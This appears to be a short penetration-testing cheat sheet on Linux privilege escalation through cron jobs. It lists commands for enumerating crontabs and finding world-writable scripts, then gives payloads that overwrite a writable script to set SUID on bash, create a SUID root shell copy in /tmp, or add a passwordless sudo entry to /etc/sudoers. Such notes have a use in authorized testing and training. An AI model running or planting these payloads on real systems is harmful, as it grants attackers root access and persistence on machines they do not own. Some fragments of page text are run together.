cronjobs
# List user cron jobs
crontab -l
# List system-wide cron jobs
cat /etc/crontab
# View all system cron files
cat /etc/cron.d/*
cat /etc/cron.daily/*
# Check for anacron jobs
cat /etc/anacrontab
# Check for cron db files
crontab.db#writable scripts
find /usr/bin/* -type f -perm -o+w -exec ls -l {} \;
# Replace with malicious content
echo '#!/bin/bash' > /path/to/script.sh
echo 'chmod +s /bin/bash' >> /path/to/script.sh
# OR
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/script.sh
# OR
echo 'echo "user ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers' >> /path/to/script.shLast updated